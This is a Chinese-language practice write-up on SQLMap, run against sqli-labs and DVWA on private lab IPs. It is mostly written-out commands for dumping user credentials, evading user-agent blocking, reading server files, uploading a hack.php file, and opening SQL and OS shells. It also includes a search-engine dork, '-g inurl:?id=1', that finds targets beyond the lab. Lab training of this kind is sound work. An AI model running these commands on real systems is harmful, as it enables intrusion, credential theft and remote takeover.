练习11
Abstract: SQLMap
的应用,使用sqli-labs
和 dvwa
作为实验平台。
Table of Contents
- 用 SQLMap 查看数据库
- 查看 security 库中的表
- 查看 users 表中所有的字段名
- 查看 security.users 表中的内容
- 使用 method 和 POST 参数
- 使用 cookie
- 使用 user-agent
- sqlmap 读文件
- sqlmap 写文件
- sqlmap 执行 sql语句
- sqlmap -g
- sqlmap -r
- sqlmap --os-shell
用 SQLMap
查看数据库
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" --dbs |
得出结果:
查看 security
库中的表
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security --tables |
得出结果:
查看 users
表中所有的字段名
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users --columns |
得出结果:
查看 security.users
表中的内容
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump |
得出结果:
使用 method
和 POST
参数
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-11/" --method="post" --data="uname=admin&passwd=admin" --dbs |
得到结果:
使用 cookie
在 /sqli-labs/Less-11
中,由于只涉及登录功能,没有登录以后的操作,所以用 --cookie
无法抓取相应数据。 故使用 dvwa
测试。
登录账号,查看 cookie
1 | sqlmap -u "http://192.168.100.119/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ar14vrf1ie0kc399hgpmqc1fd2" --dbs |
得到结果:
使用 user-agent
打开 /sqli-labs/Less-1
中的 index.php
,添加如下程序。
即当程序检测到 user-agent
值为 bp
时,直接退出程序。
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="bp" --dbs |
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="sqlmap" --dbs |
把添加的语句删除,保存退出,重新用 sqlmap
尝试读取数据库信息
爬取数据库成功,由此可见,命令行设置 --user-agent
是起到一定作用, 有些网站通过对 user-agent
参数的检测,达到对 SQLMap
的屏蔽。
注意:每次完成后,记住对 /sqlmap/output/
文件夹下对应目录的清理。
另一种方法是设置代理用 burpsuite
抓包
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --user-agent="burpsuite" --proxy="http://127.0.0.1:8080" |
打开 burpsuite
抓取 sqlmap
数据包
可以看到 user-agent
变为我们设置的值了。
sqlmap
读文件
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-read="/var/www/html/sqli-labs/index.html" |
点击查看读取的文件
打开文件
sqlmap
写文件
在本地新建 hack.php
文件,
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-write="hack.php" --file-dest="/var/myfile/hack.php" -v 5 |
在服务器中查看
sqlmap
执行 sql
语句
1 | sqlmap -u "http://192.168.100.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ri8va1c84en9d40b7l1o1lle53" --sql-shell |
然后执行
1 | select @@datadir; |
sqlmap -g
1 | sqlmap -g "inurl:?id=1" |
sqlmap -r
打开 burpsuite
抓包,
把 Request
里面的内容,复制粘贴到 less12.txt
中,打开 sqlmap
1 | sqlmap -r less12.txt |
sqlmap --os-shell
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --os-shell |
用 sqli-labs
和 dvwa
都会提示
尝试了 Window
和 CentOS
系统,还是失败。在网上搜到参考文章,照着修改权限,依然没有成功。
参考文章
最后
在虚拟机中把,html 文件夹权限修改
1 | cd /var/www/ |
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --os-shell |